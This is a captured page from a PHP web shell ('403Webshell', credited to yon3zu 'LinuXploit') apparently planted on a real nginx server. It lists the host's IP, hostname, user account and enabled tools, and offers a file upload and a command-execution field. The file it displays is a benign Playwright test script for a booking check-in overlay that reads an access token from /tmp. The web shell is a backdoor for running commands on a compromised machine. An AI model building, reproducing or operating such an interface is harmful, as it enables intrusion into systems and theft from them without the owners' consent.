403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /tmp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tmp/live.py
from playwright.sync_api import sync_playwright
TOK=open('/tmp/tok.txt').read().strip()
BID="115517"
url="https://seaside.pacim.de/day-list.php?t="+TOK
def cls(pg): return pg.eval_on_selector('tr[data-id="%s"]'%BID,'e=>e.className')
with sync_playwright() as p:
    b=p.chromium.launch(); pg=b.new_page(viewport={"width":440,"height":820},device_scale_factor=2)
    pg.goto(url, wait_until="networkidle"); pg.wait_for_timeout(500)
    print("live indicator present:", pg.is_visible('#dl-live'))
    print("fixture row initial class:", cls(pg))   # AIDA paid -> st-paid
    # click the row -> overlay opens with embed iframe
    pg.eval_on_selector('tr[data-id="%s"]'%BID,'e=>e.click()'); pg.wait_for_timeout(1500)
    print("overlay visible:", pg.is_visible('#dl-ov'))
    fsrc=pg.get_attribute('#dl-ov-frame','src'); print("iframe embed:", 'embed=1' in (fsrc or ''))
    # inside iframe: AIDA -> green 'Check-in erfassen' action button
    fr=pg.frame_locator('#dl-ov-frame')
    fr.locator('#ci-action-btn').click(); pg.wait_for_timeout(1200)
    print("row class right after checkin msg:", cls(pg))   # expect st-in (postMessage, before countdown ends)
    # countdown ~3s -> finish -> parent closes overlay
    pg.wait_for_timeout(3500)
    print("overlay visible after countdown:", pg.is_visible('#dl-ov'))
    print("row class after close:", cls(pg))
    b.close()

Youez - 2016 - github.com/yon3zu
LinuXploit